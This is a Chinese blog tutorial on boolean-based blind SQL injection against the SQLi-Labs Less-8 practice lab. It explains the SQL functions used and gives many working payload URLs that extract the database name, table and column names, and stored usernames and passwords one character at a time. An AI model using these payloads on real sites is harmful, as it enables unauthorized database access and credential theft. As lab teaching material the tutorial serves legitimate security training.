SQL注入——基于布尔的盲注(八)
本章目的
普及布爾盲注技術的運用場景及條件,熟悉length()、substr()、ascii()等函數的用法,掌握基于布爾的盲注基本流程。PS:面試回答主要為對錯論
基本概念
盲注
在SQL注入過程中,SQL語句執行后,選擇的數據不能回顯到前端頁面,此時需要利用一些
方法進行判斷或者嘗試,這個過程稱之為盲注。
>在盲注中,攻擊者根據其返回頁面的不同來判斷信息(可能是頁面內容的不同,也可以是響
應時間不同)。一般情況下,盲注可分為兩類
基于布爾的盲注(Booleanbased)
基于時間的盲注(Timebased)
基于布爾的育注
>某些場合下,頁面返回的結果只有兩種(正?;蝈e誤)。通過構造SQL判斷語句,查看頁面的返回結果(TrueorFalse)來判斷哪些SQL判斷條件成立,通過此來獲取數據庫中的數據。
基于時間的盲注
>又稱延時注入,即使用具有延時功能的函數sleep、benchmark等,通過判斷這些函數是否正常執行來獲取數據庫中的數據
盲注常用函數
if()
功能:條件判斷。
語法格式:if(expr1,expr2,expr3):expr1為true則返回expr2,expr1為false則返回expr3。
注:僅MySQL支持if(expr1,expr2,expr3)。
left()
功能:截取具有指定長度的字符串的左邊部分。
語法格式:left(strlength),如果str或length參數為NULL,則返回NULL值。
參數說明
str:要提取子串的字符串。
length:正整數,指定將從左邊返回的字符數。length為0或為負,則LEFT返回一個空字符串
length大于str字符串的長度,則leftO返回整個str字符串。
length()
功能:返回字符串的長度,以字節為單位。
語法格式:length(str)
substr()、substring()
功能:從指定的位置開始,截取字符串指定長度的子串。
語法格式:substr(str,pos)或substr(str,pos,len),substring(str,pos)substring(str,pos,len)
參數說明
str:要提取子串的字符串。
pos:提取子串的開始位置
len:指定要提取的子串的長度
ascii()、ord()
功能:返回字符串最左邊字符的ASCII碼值
語法格式:ascii(str),ord(str)
cast()、convert()
功能:獲取一個類型的值,并產生另一個類型的值。
>語法格式:cast(value as type),convert(value,type)
可轉換的值類型
二進制,同帶binary前綴的效果:BINARY
字符型,可帶參數:CHARO
日期:DATE
時間:TIME
日期時間型:DATETIME
浮點數:DECIMAL
整數:SIGNED
無符號整數:UNSIGNED
延時函數sleep()
功能:讓語句延退執行一段時間,執行成功后返回0。
語法格式:sleep(N),即延退執行N秒。
延時函數benchmark()
功能:讓某語句執行一定的次數,執行成功后返回0。
語法格式:benchmark(coun,texpr),即讓expr執行count次
注:僅MySQL支持該函數。
實驗環境
攻擊機:Pentest-Atk
(1)操作系統:Windows10
(2)安裝的應用軟件:sqlmap 、Burpsuite 、FireFox瀏覽器及其插件Hackbar 、 等
(3)登錄賬號密碼:操作系統帳號Administrator,密碼?》《6
靶機:A-SQLi-Labs
(1)操作系統:本機(建議用虛擬機)不過我太懶了[]~( ̄▽ ̄)~*
(2)安裝的應用軟件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、
Webug3.0漏洞網站環境
(3)登錄賬號密碼:操作系統帳號root,密碼0145632
實驗原理
(1)關于布爾盲注
某些場合下,頁面返回的結果只有兩種(正?;蝈e誤)。通過構造SQL判斷語句,查看頁面的返回結果(True or False)來判斷哪些SQL判斷條件成立,通過此來獲取數據庫中的數據。
(2)一些功能函數的說明
length(str):返回字符串(str)的長度,以字節為單位。
substr(str,pos,len):從指定的位置(pos)開始,截取并返回字符串(str)指定
長度(len)的子串。
asci(str):返回字符串(str)最左邊字符的ASCII碼。
實驗步驟
本實驗的目標是:以SQLi-Labs網站的Less-8為入口,利用基于布爾的盲注方
式獲取SQLi-Labs網站的登錄用戶名和密碼。
1.訪間SQLi-Labs網站
在攻擊機Pentest-Atk打開FireFox瀏覽器,并訪問靶機A-SQLi-Labs上的
SQLi-Labs網站Less-18。訪問的URL為:
(行吧,復制粘貼好像也不需要注意什么大小寫)
說明:本實驗環境中FireFox瀏覽器已預安裝Hackbar插件,在FireFox界面
按下鍵盤上的F9鍵啟用或停用(本實驗環境中默認為啟用狀態)。建議在注入
過程中用Hackbar插件來調整payload參數!沒有的點我參考 ??? 瀏覽器加載插件
登錄后,根據網頁提示,給定一個?id=1的參數,即:
http://[靶機IP]/sqli-labs/less-18/?id=1此時頁面顯示信息為Youare in.,顯示狀態為True
PS:右上角是我的翻譯,有時候你們發現和我不太一樣不用疑惑
如果給定一個zid=-1的參數,即:
?http://[靶機IP]/sqli-labs/less-18/?id=-1此時頁面顯示信息為空,顯示狀態為False。
可以繼續給定不同的id參數進行嘗試,發現頁面的顯示結果只有兩種:True或False。由此可以判斷,這是一種典型的布爾盲注場景。
2.尋找注入點
分別使用以下3條payload尋找注入點及判斷注入點的類型:
運行后頁面顯示為False!
?http://[靶機IP]/sqli-labs/less-18/?id=1'1?運行后頁面顯示為True!
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and '1'='2運行后頁面顯示為False!
由上述結果可以判斷,網站存在字符型注入點。
3.盲猜網站當前所在數據庫的庫名長度
假設當前所在數據庫的庫名長度為N,嘗試使用判斷語句
length(database())=M,不斷變化M的值去猜測,如果M不等于N,頁面應該
顯示為False:如果M等于N,頁面應該顯示為True。
例如執行如下payload
顯示結果為False,說明網站當前所在數據庫的庫名長度不是7個字符!
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())=8--+顯示結果為True,說明網站當前所在數據庫的庫名長度為8個字符!
4.盲猜網站當前所在數據庫的庫名字符串
本步驟通過逐個字母盲猜的方式進行。
假設庫名字符串的第1個字母為a,那么條件判斷語句substr(庫名字符串,1,1)='a'以及asci(substr(庫名字符串,1,1))=97返回的結果均應為True(小寫字母a的ASCI碼為97)假設庫名字符串的第2個字母為b,那么條件判斷語句substr(庫名字符串,2,1))='b'以及asci(substr(庫名字符串,2,1)=98返回的結果均應為True(小寫字母b的ASCII碼為98)
以此類推。
猜測庫名的第1個字母:
或是
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+猜測庫名的第2個字母:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr(database(),2,1)='e'--+或
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),2,1))=101--+庫名的第2個字母為e。
?以此類推,最終得到的字符串結果為 security
5.盲猜數據庫 security的全部表名
(1)猜測第1張表的表名
猜測第1張表的表名的第1個字符:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+或:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+第1張表的表名的第1個字符為e
?猜測第1張表的表名的第2個字符:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m'--+或者
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109--+?第1張表的表名的第2個字符為m,以此類推,得到 security庫中的第1張表的名字為 emails
(2)猜測第2張表的表名
猜測第2張表的表名的第1個字符:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r'--+or
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114--+第2張表的表名的第1個字符為r
?猜測第2張表的表名的第2個字符
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e'--+ http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101--+第2張表的表名的第2個字符為e。
以此類推,得到security庫中的第2張表的名字為referers。
依據上述方法,通過不斷變換limit和substr()函數中的參數,可以最終得到security庫中所有表的表名:emails、referers、uagents和users。其中,第4張表users當中可能存放著網站用戶的基本信息
6.盲猜 users表的全部字段名
(1)猜測第1個字段名
猜測第1個字段名的第1個字符
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'--+ http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+
第1個字段名的第1個字符為i
猜測第1個字段名的第2個字符為d
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),2,1)= 'd' --+或
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),2,1))= 100--+?第1個字段名的第2個字符為d
?以此類推,得到 users表中的第1個字段名為id
依據上述方法,通過不斷變換limit和 substr()函數中的參數,可以最終得到 users表中所有字段名:id、 username和 password
7.盲猜 users表 username和 password字段的全部值
(1)猜測第1組數據
猜測第1組數據的第1個字符:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='D'--+or
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))=68--+?第1組數據的第1個字符為D。
猜測第1組數據的第2個字符;
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1)='u'--+或
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1))=117--+?第1組數據的第2個字符為u。
以此類推,得到第1組數據為Dump.Dump。
注意:字符串中的逗號(,)也是需要進行猜測比對的!例如第1組數據的第5個字符:
或
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1))=44--+?(2)猜測第2組數據
猜測第2組數據的第1個字符
或
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1))=65--+第2組數據的第1個字符為A。
?猜測第2組數據的第2個字符:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1)='n'--+或
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1))=110--+第2組數據的第2個字符為n。
?........
以此類推,得到第2組數據為"Angelina,l-kill-you"
依據上述方法,通過不斷變換limit()和substr()函數中的參數,可以最終得到users
表中username和password字段的全部值。
SQL注入 ——sql數據庫操作基礎(一)_Gjqhs的博客-CSDN博客
SOL注入——HTTP頭部注入(六)_Gjqhs的博客-CSDN博客
SQL注入——基于報錯的注入(五)_Gjqhs的博客-CSDN博客
...
更多包括而不限于SQL注入的文章,關注我全部帶走吧( ?? ω ?? )?
總結
以上是生活随笔為你收集整理的SQL注入——基于布尔的盲注(八)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: win更改文件默认打开方式
- 下一篇: webug3.0下载环境搭建使用